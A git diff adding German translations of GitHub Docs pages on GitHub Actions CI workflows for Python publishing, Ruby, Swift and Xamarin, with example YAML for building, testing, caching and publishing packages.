+          name: {% raw %}pytest-results-${{ matrix.python-version }}{% endraw %}
+          path: {% raw %}junit/test-results-${{ matrix.python-version }}.xml{% endraw %}
+        # Use always() to always run this step to publish test results when there are test failures
+        if: {% raw %}${{ always() }}{% endraw %}
+```
+
+## In Paket-Registries veröffentlichen
+
+Du kannst deinen Workflow so konfigurieren, dass das Python-Paket in einer Paketregistrierung veröffentlicht wird, wenn deine CI-Tests bestanden werden. In diesem Abschnitt erfährst du, wie du {% data variables.product.prodname_actions %} verwenden kannst, um dein Paket bei einer [Veröffentlichung eines Releases](/github/administering-a-repository/managing-releases-in-a-repository) in PyPI hochzuladen. 
+
+In diesem Beispiel musst du zwei [PyPI-API-Token](https://pypi.org/help/#apitoken) erstellen. Du kannst Geheimnisse verwenden, um die Zugriffstoken oder Anmeldeinformationen zu speichern, die zum Veröffentlichen deines Pakets erforderlich sind. Weitere Informationen findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Upload Python Package
+
+on:
+  release:
+    types: [published]
+
+jobs:
+  deploy:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Python
+        uses: {% data reusables.actions.action-setup-python %}
+        with:
+          python-version: '3.x'
+      - name: Install dependencies
+        run: |
+          python -m pip install --upgrade pip
+          pip install build
+      - name: Build package
+        run: python -m build
+      - name: Publish package
+        uses: pypa/gh-action-pypi-publish@27b31702a0e7fc50959f5ad993c78deac1bdfc29
+        with:
+          user: __token__
+          password: {% raw %}${{ secrets.PYPI_API_TOKEN }}{% endraw %}
+```
+
+Weitere Informationen zum Starterworkflow findest du unter [`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml).
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-ruby.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
new file mode 100644
index 0000000000..c201e506b7
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
@@ -0,0 +1,331 @@
+---
+title: Erstellen und Testen von Ruby-Anwendungen
+intro: 'Du kannst einen Continuous Integration-Workflow (CI) erstellen, um dein Ruby-Projekt zu kompilieren und zu testen.'
+redirect_from:
+  - /actions/guides/building-and-testing-ruby
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CI
+  - Ruby
+shortTitle: Build & test Ruby
+ms.openlocfilehash: d6408613be9666dc86e982f99dcba47bbe3f7f9b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147408987'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+In diesem Leitfaden erfährst du, wie du einen CI-Workflow (Continuous Integration) erstellst, mit dem eine Ruby-Anwendung erstellt und getestet wird. Wenn deine CI-Tests bestanden wurden, solltest du den Code bereitstellen oder ein Ruby-Gem veröffentlichen.
+
+## Voraussetzungen
+
+Es wird empfohlen, grundlegende Kenntnisse über Ruby, YAML, Workflowkonfigurationsoptionen und das Erstellen einer Workflowdatei zu haben. Weitere Informationen finden Sie unter
+
+- [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
+- [Ruby in 20 Minuten](https://www.ruby-lang.org/en/documentation/quickstart/)
+
+## Verwenden des Ruby-Starterworkflows
+
+{% data variables.product.prodname_dotcom %} bietet einen Ruby-Starterworkflow, der für die meisten Ruby-Projekte funktioniert. Weitere Informationen findest du unter [Ruby-Starterworkflow](https://github.com/actions/starter-workflows/blob/master/ci/ruby.yml).
+
+Für einen schnellen Einstieg fügst du den Starterworkflow zum Verzeichnis `.github/workflows` deines Repositorys hinzu. Im nachstehenden Workflow wird davon ausgegangen, dass der Standardbranch für dein Repository `main` lautet.
+
+```yaml
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Ruby
+
+on:
+  push:
+    branches: [ main ]
+  pull_request:
+    branches: [ main ]
+
+jobs:
+  test:
+
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@359bebbc29cbe6c87da6bc9ea3bc930432750108
+        with:
+          ruby-version: '3.1'
+      - name: Install dependencies
+        run: bundle install
+      - name: Run tests
+        run: bundle exec rake
+```
+
+## Angeben der Ruby-Version
+
+Am einfachsten kannst du eine Ruby-Version angeben, indem du die Aktion `ruby/setup-ruby` verwendest, die von der Ruby-Organisation auf GitHub bereitgestellt wird. Mit der Aktion wird für jeden Auftrag, der in einem Workflow ausgeführt wird, eine beliebige unterstützte Ruby-Version zu `PATH` hinzugefügt. Weitere Informationen und verfügbare Ruby-Versionen findest du unter [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby).
+
+Die Aktion `ruby/setup-ruby` von Ruby wird als Methode zur Verwendung von Ruby mit GitHub Actions empfohlen, da damit ein konsistentes Verhalten bei verschiedenen Runnern und verschiedenen Version von Ruby gewährleistet wird.
+
+Von der Aktion `setup-ruby` wird eine Ruby-Version als Eingabe verwendet und auf dem Runner konfiguriert.
+
+```yaml
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- uses: ruby/setup-ruby@359bebbc29cbe6c87da6bc9ea3bc930432750108
+  with:
+    ruby-version: '3.1' # Not needed with a .ruby-version file
+- run: bundle install
+- run: bundle exec rake
+```
+
+Alternativ dazu kannst du eine `.ruby-version`-Datei in das Stammverzeichnis deines Repositorys einchecken; die in dieser Datei definierte Version wird dann von `setup-ruby` verwendet.
+
+## Testen mit mehreren Versionen von Ruby
+
+Du kannst eine Matrixstrategie hinzufügen, um den Workflow mit mehr als einer Version von Ruby auszuführen. Du kannst den Code beispielsweise in Bezug auf die aktuellen Patchreleases der Versionen 3.1, 3.0 und 2.7 testen.
+
+{% raw %}
+```yaml
+strategy:
+  matrix:
+    ruby-version: ['3.1', '3.0', '2.7']
+```
+{% endraw %}
+
+Von jeder im `ruby-version`-Array angegebenen Version von Ruby wird ein Auftrag erstellt, bei dem dieselben Schritte ausgeführt werden. Der {% raw %}`${{ matrix.ruby-version }}`{% endraw %}-Kontext wird dazu verwendet, auf die Version des aktuellen Auftrags zuzugreifen. Weitere Informationen zu Matrixstrategien und Kontexten findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions) und [Kontexte](/actions/learn-github-actions/contexts).
+
+Der vollständige aktualisierte Workflow mit einer Matrixstrategie könnte wie folgt aussehen:
+
+```yaml
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Ruby CI
+
+on:
+  push:
+    branches: [ main ]
+  pull_request:
+    branches: [ main ]
+
+jobs:
+  test:
+
+    runs-on: ubuntu-latest
+
+    strategy:
+      matrix:
+        ruby-version: ['3.1', '3.0', '2.7']
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: {% raw %}Set up Ruby ${{ matrix.ruby-version }}{% endraw %}
+        uses: ruby/setup-ruby@359bebbc29cbe6c87da6bc9ea3bc930432750108
+        with:
+          ruby-version: {% raw %}${{ matrix.ruby-version }}{% endraw %}
+      - name: Install dependencies
+        run: bundle install
+      - name: Run tests
+        run: bundle exec rake
+```
+
+## Installieren von Abhängigkeiten mit Bundler
+
+Mit der Aktion `setup-ruby` wird Bundler automatisch für dich installiert. Die Version wird von der Datei `gemfile.lock` bestimmt. Wenn in der Sperrdatei keine Version vorhanden ist, wird die aktuelle kompatible Version installiert.
+
+```yaml
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- uses: ruby/setup-ruby@359bebbc29cbe6c87da6bc9ea3bc930432750108
+  with:
+    ruby-version: '3.1'
+- run: bundle install
+```
+
+{% ifversion actions-caching %}
+
+### Abhängigkeiten „cachen“ (zwischenspeichern)
+
+Die `setup-ruby`-Aktionen bieten eine Methode, mit der du deine Gems automatisch zwischenspeichern kannst.
+
+Lege zum Aktivieren der Zwischenspeicherung Folgendes fest.
+
+{% raw %}
+```yaml
+steps:
+- uses: ruby/setup-ruby@359bebbc29cbe6c87da6bc9ea3bc930432750108
+    with:
+      bundler-cache: true
+```
+{% endraw %}
+
+Dadurch wird der Bundler so konfiguriert, dass deine Gems in `vendor/cache` installiert werden. Bei jeder erfolgreichen Ausführung deines Workflows wird dieser Ordner von {% data variables.product.prodname_actions %} zwischengespeichert und bei nachfolgenden Workflowausführungen erneut heruntergeladen. Ein Hash deiner gemfile.lock-Datei und die Ruby-Version werden als Cacheschlüssel verwendet. Wenn du neue Gems installierst oder eine Version änderst, wird der Cache ungültig, und von Bundler wird eine neue Installation durchgeführt.
+
+**Zwischenspeichern ohne setup-ruby-Aktion**
+
+Um die Zwischenspeicherung besser zu steuern, kannst du die `actions/cache`-Aktion direkt verwenden. Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).
+
+```yaml
+steps:
+- uses: {% data reusables.actions.action-cache %}
+  with:
+    path: vendor/bundle
+    key: {% raw %}${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}{% endraw %}
+    restore-keys: |
+      {% raw %}${{ runner.os }}-gems-{% endraw %}
+- name: Bundle install
+  run: |
+    bundle config path vendor/bundle
+    bundle install --jobs 4 --retry 3
+```
+
+Wenn du einen Matrixbuild verwendest, solltest du die Matrixvariablen in den Cacheschlüssel aufnehmen. Wenn du beispielsweise eine Matrixstrategie für verschiedene Ruby-Versionen (`matrix.ruby-version`) und unterschiedliche Betriebssysteme (`matrix.os`) hast, sehen die Workflowschritte möglicherweise wie folgt aus:
+
+```yaml
+steps:
+- uses: {% data reusables.actions.action-cache %}
+  with:
+    path: vendor/bundle
+    key: {% raw %}bundle-use-ruby-${{ matrix.os }}-${{ matrix.ruby-version }}-${{ hashFiles('**/Gemfile.lock') }}{% endraw %}
+    restore-keys: |
+      {% raw %}bundle-use-ruby-${{ matrix.os }}-${{ matrix.ruby-version }}-{% endraw %}
+- name: Bundle install
+  run: |
+    bundle config path vendor/bundle
+    bundle install --jobs 4 --retry 3
+```
+
+{% endif %}
+
+## Matrixtests des Codes
+
+Mit der folgenden Beispielmatrix werden alle stabilen Releases und Headversionen von MRI, JRuby und TruffleRuby unter Ubuntu und macOS getestet.
+
+```yaml
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Matrix Testing
+
+on:
+  push:
+    branches: [ main ]
+  pull_request:
+    branches: [ main ]
+
+jobs:
+  test:
+    runs-on: {% raw %}${{ matrix.os }}-latest{% endraw %}
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu, macos]
+        ruby: [2.5, 2.6, 2.7, head, debug, jruby, jruby-head, truffleruby, truffleruby-head]
+    continue-on-error: {% raw %}${{ endsWith(matrix.ruby, 'head') || matrix.ruby == 'debug' }}{% endraw %}
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: ruby/setup-ruby@477b21f02be01bcb8030d50f37cfec92bfa615b6
+        with:
+          ruby-version: {% raw %}${{ matrix.ruby }}{% endraw %}
+      - run: bundle install
+      - run: bundle exec rake
+```
+
+## Linten des Codes
+
+Im folgenden Beispiel wird `rubocop` installiert und zum Linten aller Dateien verwendet. Weitere Informationen findest du unter [RuboCop](https://github.com/rubocop-hq/rubocop). Du kannst [Rubocop so konfigurieren](https://docs.rubocop.org/rubocop/configuration.html), dass jeweils spezifische Regeln für das Linten festlegen.
+
+```yaml
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Linting
+
+on: [push]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: ruby/setup-ruby@477b21f02be01bcb8030d50f37cfec92bfa615b6
+        with:
+          ruby-version: 2.6
+      - run: bundle install
+      - name: Rubocop
+        run: rubocop
+```
+
+## Veröffentlichen von Gems
+
+Du kannst deinen Workflow so konfigurieren, dass das Ruby-Paket in jeder Paketregistrierung veröffentlicht wird, die du wünschst, wenn deine CI-Tests bestanden werden.
+
+Du kannst alle Zugriffstoken oder Anmeldeinformationen speichern, die zum Veröffentlichen deines Pakets mithilfe von geheimen Repositoryschlüsseln erforderlich sind. Im folgenden Beispiel wird ein Paket erstellt und in `GitHub Package Registry` und `RubyGems` veröffentlicht.
+
+```yaml
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Ruby Gem
+
+on:
+  # Manually publish
+  workflow_dispatch:
+  # Alternatively, publish whenever changes are merged to the `main` branch.
+  push:
+    branches: [ main ]
+  pull_request:
+    branches: [ main ]
+
+jobs:
+  build:
+    name: Build + Publish
+    runs-on: ubuntu-latest
+    permissions:
+      packages: write
+      contents: read
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Ruby 2.6
+        uses: ruby/setup-ruby@477b21f02be01bcb8030d50f37cfec92bfa615b6
+        with:
+          ruby-version: 2.6
+      - run: bundle install
+
+      - name: Publish to GPR
+        run: |{% raw %}
+          mkdir -p $HOME/.gem
+          touch $HOME/.gem/credentials
+          chmod 0600 $HOME/.gem/credentials
+          printf -- "---\n:github: ${GEM_HOST_API_KEY}\n" > $HOME/.gem/credentials
+          gem build *.gemspec
+          gem push --KEY github --host https://rubygems.pkg.github.com/${OWNER} *.gem
+        env:
+          GEM_HOST_API_KEY: "Bearer ${{secrets.GITHUB_TOKEN}}"
+          OWNER: ${{ github.repository_owner }}
+
+      - name: Publish to RubyGems
+        run: |
+          mkdir -p $HOME/.gem
+          touch $HOME/.gem/credentials
+          chmod 0600 $HOME/.gem/credentials
+          printf -- "---\n:rubygems_api_key: ${GEM_HOST_API_KEY}\n" > $HOME/.gem/credentials
+          gem build *.gemspec
+          gem push *.gem
+        env:
+          GEM_HOST_API_KEY: "${{secrets.RUBYGEMS_AUTH_TOKEN}}"{% endraw %}
+```
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-swift.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-swift.md
new file mode 100644
index 0000000000..e5c72a6be3
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-swift.md
@@ -0,0 +1,132 @@
+---
+title: Erstellen und Testen eines Swift-Projekts
+intro: 'Du kannst einen Continuous-Integration-Workflow (CI) erstellen, um dein Swift-Projekt zu erstellen und zu testen.'
+redirect_from:
+  - /actions/guides/building-and-testing-swift
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CI
+  - Swift
+shortTitle: Build & test Swift
+ms.openlocfilehash: 5717f9c7a939d2347ea5a49458002185c3ec07eb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147408995'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Dieser Leitfaden zeigt dir, wie du ein Swift-Paket erstellen und testen kannst.
+
+{% ifversion ghae %} Damit du dein Swift-Projekt auf {% data variables.product.prodname_ghe_managed %} erstellen und testen kannst, sind Swift-Abhängigkeiten erforderlich. {% data reusables.actions.self-hosted-runners-software %} {% else %}{% data variables.product.prodname_dotcom %}-gehostete Runner haben einen Toolscache mit vorinstallierter Software, und die Ubuntu- und macOS-Runner enthalten die Abhängigkeiten zum Erstellen von Swift-Paketen. Eine vollständige Liste der aktuellen Software und der vorinstallierten Versionen von Swift und Xcode findest du unter [Informationen zu GitHub-gehosteten Runnern](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software).{% endif %}
+
+## Voraussetzungen
+
+Du solltest bereits mit der YAML-Syntax vertraut sein und wissen, wie sie mit {% data variables.product.prodname_actions %} verwendet wird. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions).
+
+Du solltest grundlegende Kenntnisse über Swift-Pakete besitzen. Weitere Informationen findest du in der Apple-Entwicklerdokumentation unter [Swift-Pakete](https://developer.apple.com/documentation/swift_packages).
+
+## Verwenden des Swift-Starterworkflows
+
+Von {% data variables.product.prodname_dotcom %} wird ein Swift-Starterworkflow bereitgestellt, der für die meisten Swift-Projekte verwendet werden kann. Wie du diesen Starterworkflow anpassen kannst, erfährst du anhand der Beispiele in diesem Leitfaden. Weitere Informationen findest du im [Swift-Starterworkflow](https://github.com/actions/starter-workflows/blob/main/ci/swift.yml).
+
+Für einen schnellen Einstieg füge den Starterworkflow zum Verzeichnis `.github/workflows` deines Repositorys hinzu.
+
+```yaml{:copy}
+name: Swift
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: macos-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Build
+        run: swift build
+      - name: Run tests
+        run: swift test
+```
+
+## Angeben einer Swift-Version
+
+Verwende die Aktion `fwal/setup-swift`, um eine vorinstallierte Swift-Version auf einem von {% data variables.product.prodname_dotcom %} gehosteten Runner zu verwenden. Mit dieser Aktion wird im Toolcache der jeweiligen Runner nach einer bestimmten Version von Swift gesucht, und die erforderlichen Binärdateien werden `PATH` hinzugefügt. Diese Änderungen werden für den Rest eines Auftrags beibehalten. Weitere Informationen findest du unter der Aktion [`fwal/setup-swift`](https://github.com/marketplace/actions/setup-swift).
+
+Wenn du einen selbstgehosteten Runner verwendest, musst du deine gewünschten Swift Versionen installieren und diese `PATH` hinzufügen.
+
+Die folgenden Beispiele veranschaulichen die Verwendung der `fwal/setup-swift`-Aktion.
+
+### Verwenden mehrerer Swift-Versionen
+
+Du kannst deinen Auftrag so konfigurieren, dass mehrere Versionen von Swift in einer Matrix verwendet werden.
+
+```yaml{:copy}
+
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+
+name: Swift
+
+on: [push]
+
+jobs:
+  build:
+    name: {% raw %}Swift ${{ matrix.swift }} on ${{ matrix.os }}{% endraw %}
+    strategy:
+      matrix:
+        os: [ubuntu-latest, macos-latest]
+        swift: ["5.2", "5.3"]
+    runs-on: {% raw %}${{ matrix.os }}{% endraw %}
+    steps:
+      - uses: fwal/setup-swift@2040b795e5c453c3a05fcb8316496afc8a74f192
+        with:
+          swift-version: {% raw %}${{ matrix.swift }}{% endraw %}
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Build
+        run: swift build
+      - name: Run tests
+        run: swift test
+```
+
+### Verwenden einer einzelnen bestimmten Swift-Version
+
+Du kannst deinen Auftrag so konfigurieren, dass eine einzelne bestimmte Version von Swift verwendet wird, z. B. `5.3.3`.
+
+{% raw %}
+```yaml{:copy}
+steps:
+  - uses: fwal/setup-swift@2040b795e5c453c3a05fcb8316496afc8a74f192
+    with:
+      swift-version: "5.3.3"
+  - name: Get swift version
+    run: swift --version # Swift 5.3.3
+```
+{% endraw %}
+
+## Deinen Code bauen und testen
+
+Du kannst dieselben Befehle verwenden, die du auch lokal verwendest, um deinen Code mit Swift zu erstellen und zu testen. In diesem Beispiel wird veranschaulicht, wie die Befehle `swift build` und `swift test` in einem Auftrag verwendet werden:
+
+```yaml{:copy}
+steps:
+  - uses: {% data reusables.actions.action-checkout %}
+  - uses: fwal/setup-swift@2040b795e5c453c3a05fcb8316496afc8a74f192
+    with:
+      swift-version: "5.3.3"
+  - name: Build
+    run: swift build
+  - name: Run tests
+    run: swift test
+```
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
new file mode 100644
index 0000000000..cc0b7b330a
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
@@ -0,0 +1,122 @@
+---
+title: Erstellen und Testen von Xamarin-Anwendungen
+intro: 'Du kannst einen CI-Workflow (Continuous Integration) in GitHub Actions erstellen, um deine eigene Xamarin-Anwendung zu entwickeln und zu testen.'
+redirect_from:
+  - /actions/guides/building-and-testing-xamarin-applications
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CI
+  - Xamarin
+  - Xamarin.iOS
+  - Xamarin.Android
+  - Android
+  - iOS
+shortTitle: Build & test Xamarin apps
+ms.openlocfilehash: 2e4e9a8eb73cd9dc2ef054c6c3ac48a9beadd9d1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147518928'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Dieser Leitfaden zeigt, wie du einen Workflow erstellen kannst, der Continuous Integration (CI) für dein Xamarin-Projekt ausführt. Der Workflow, den Du erstellst, zeigt Dir, wenn Commits zu einem Pull-Request zu Build- oder Testfehlern für deinen Standard-Zweig führen. Dieser Ansatz kann dazu beitragen, dass Dein Code immer brauchbar ist.
+
+Eine vollständige Liste der verfügbaren Xamarin SDK-Versionen in {% data variables.product.prodname_actions %}-gehosteten macOS-Runnern findest du in der Dokumentation:
+
+* [macOS 10.15](https://github.com/actions/runner-images/blob/main/images/macos/macos-10.15-Readme.md#xamarin-bundles)
+* [macOS 11](https://github.com/actions/runner-images/blob/main/images/macos/macos-11-Readme.md#xamarin-bundles)
+
+{% data reusables.actions.macos-runner-preview %}
+
+## Voraussetzungen
+
+Du solltest über grundlegende Kenntnisse von Xamarin. .NET Core SDK, YAML, Workflowkonfigurationsoptionen und dem Erstellen einer Workflowdatei verfügen. Weitere Informationen finden Sie unter
+
+- [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)
+- [Erste Schritte mit .NET](https://dotnet.microsoft.com/learn)
+- [Erlernen von Xamarin](https://dotnet.microsoft.com/learn/xamarin)
+
+## Erstellen von Xamarin.iOS-Apps
+
+Das folgende Beispiel veranschaulicht, wie du die Standardversionen des Xamarin SDK änderst und eine Xamarin.iOS-Anwendung erstellst.
+
+```yaml
+name: Build Xamarin.iOS app
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: macos-latest
+
+    steps:
+    - uses: {% data reusables.actions.action-checkout %}
+    - name: Set default Xamarin SDK versions
+      run: |
+        $VM_ASSETS/select-xamarin-sdk-v2.sh --mono=6.12 --ios=14.10
+    
+    - name: Set default Xcode 12.3
+      run: |
+        XCODE_ROOT=/Applications/Xcode_12.3.0.app
+        echo "MD_APPLE_SDK_ROOT=$XCODE_ROOT" >> $GITHUB_ENV
+        sudo xcode-select -s $XCODE_ROOT
+
+    - name: Setup .NET Core SDK 5.0.x
+      uses: {% data reusables.actions.action-setup-dotnet %}
+      with:
+        dotnet-version: '5.0.x'
+
+    - name: Install dependencies
+      run: nuget restore <sln_file_path>
+
+    - name: Build
+      run: msbuild <csproj_file_path> /p:Configuration=Debug /p:Platform=iPhoneSimulator /t:Rebuild
+```
+
+## Erstellen von Xamarin.Android-Apps
+
+Das folgende Beispiel veranschaulicht, wie du die Standardversionen des Xamarin SDK änderst und eine Xamarin.Android-Anwendung erstellst.
+
+```yaml
+name: Build Xamarin.Android app
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: macos-latest
+
+    steps:
+    - uses: {% data reusables.actions.action-checkout %}
+    - name: Set default Xamarin SDK versions
+      run: |
+        $VM_ASSETS/select-xamarin-sdk-v2.sh --mono=6.10 --android=10.2
+
+    - name: Setup .NET Core SDK 5.0.x
+      uses: {% data reusables.actions.action-setup-dotnet %}
+      with:
+        dotnet-version: '5.0.x'
+
+    - name: Install dependencies
+      run: nuget restore <sln_file_path>
+
+    - name: Build
+      run: msbuild <csproj_file_path> /t:PackageForAndroid /p:Configuration=Debug
+```
+
+## Angeben einer .NET-Version
+
+Verwende die Aktion `setup-dotnet`, um eine vorinstallierte Version des .NET Core SDK für einen von {% data variables.product.prodname_dotcom %} gehosteten Runner zu verwenden. Mit dieser Aktion wird im Toolcache der jeweiligen Runner nach einer bestimmten Version von .NET gesucht, und die erforderlichen Binärdateien werden zu `PATH` hinzugefügt. Diese Änderungen bleiben für den Rest des Auftrags beibehalten.
+ 
+Die Aktion `setup-dotnet` wird als Methode zur Verwendung von .NET mit {% data variables.product.prodname_actions %} empfohlen, da damit ein konsistentes Verhalten bei verschiedenen Runnern und verschiedenen Version von .NET gewährleistet wird. Wenn du einen selbst gehosteten Runner verwendest, musst du .NET installieren und zu `PATH` hinzufügen. Weitere Informationen findest du unter der Aktion [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk).
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/index.md b/translations/de-DE/content/actions/automating-builds-and-tests/index.md
new file mode 100644
index 0000000000..1667f75913
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/index.md
@@ -0,0 +1,39 @@
+---
+title: Automatisieren von Builds und Tests
+shortTitle: Build and test
+intro: 'Du kannst deine Projekte automatisch mit {% data variables.product.prodname_actions %} erstellen und testen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+redirect_from:
+  - /actions/building-and-testing-code-with-continuous-integration
+  - /actions/language-and-framework-guides
+  - /actions/language-and-framework-guides/github-actions-for-docker
+  - /actions/language-and-framework-guides/github-actions-for-java
+  - /actions/language-and-framework-guides/github-actions-for-javascript-and-typescript
+  - /actions/language-and-framework-guides/github-actions-for-python
+  - /actions/guides/building-and-testing-nodejs-or-python
+  - /actions/automating-builds-and-tests/building-and-testing-nodejs-or-python
+children:
+  - /about-continuous-integration
+  - /building-and-testing-go
+  - /building-and-testing-java-with-ant
+  - /building-and-testing-java-with-gradle
+  - /building-and-testing-java-with-maven
+  - /building-and-testing-net
+  - /building-and-testing-nodejs
+  - /building-and-testing-powershell
+  - /building-and-testing-python
+  - /building-and-testing-ruby
+  - /building-and-testing-swift
+  - /building-and-testing-xamarin-applications
+ms.openlocfilehash: fb95fa1cbd04dfd8484755fd5ee444a8fae93a38
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146682285'
+---
+
diff --git a/translations/de-DE/content/actions/creating-actions/about-custom-actions.md b/translations/de-DE/content/actions/creating-actions/about-custom-actions.md
new file mode 100644
index 0000000000..617a578795
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/about-custom-actions.md
@@ -0,0 +1,174 @@
+---
+title: Informationen zu benutzerdefinierten Aktionen
+intro: 'Aktionen sind einzelne Aufgaben, die du kombinieren kannst, um Aufträge zu erstellen und deinen Workflow anzupassen. Du kannst eigene Aktionen erstellen oder Aktionen verwenden und anpassen, die von der {% data variables.product.prodname_dotcom %}-Community geteilt wurden.'
+redirect_from:
+  - /articles/about-actions
+  - /github/automating-your-workflow-with-github-actions/about-actions
+  - /actions/automating-your-workflow-with-github-actions/about-actions
+  - /actions/building-actions/about-actions
+  - /actions/creating-actions/about-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Action development
+  - Fundamentals
+ms.openlocfilehash: ac933a5014750f75373fafa7f8dd52333b79a469
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147154573'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Informationen zu benutzerdefinierten Aktionen
+
+Zum Erstellen von Aktionen kannst du benutzerdefinierten Code schreiben, der mit deinem Repository auf die gewünschte Weise interagiert und sich dabei beispielsweise in die APIs von {% data variables.product.prodname_dotcom %} und in öffentlich zugängliche Drittanbieter-APIs integriert. Beispielsweise kann eine Aktion npm-Module veröffentlichen, SMS-Warnungen senden, wenn dringende Probleme erstellt werden, oder produktionsbereiten Code bereitstellen.
+
+{% ifversion fpt or ghec %} Du kannst eigene Aktionen zur Verwendung in deinem Workflow schreiben oder die von dir erstellten Aktionen mit der {% data variables.product.prodname_dotcom %}-Community teilen. Damit du die von dir erstellten Aktionen mit anderen teilen kannst, muss dein Repository öffentlich sein. {% ifversion internal-actions %}Wenn du Aktionen nur innerhalb deines Unternehmens freigeben möchtest, muss dein Repository als intern gekennzeichnet sein.{% endif %} {% endif %}
+
+Aktionen können direkt auf einem Computer oder in einem Docker-Container laufen. Du kannst für eine Aktion die Eingabe, die Ausgabe und die Umgebungsvariablen definieren.
+
+## Arten von Aktionen
+
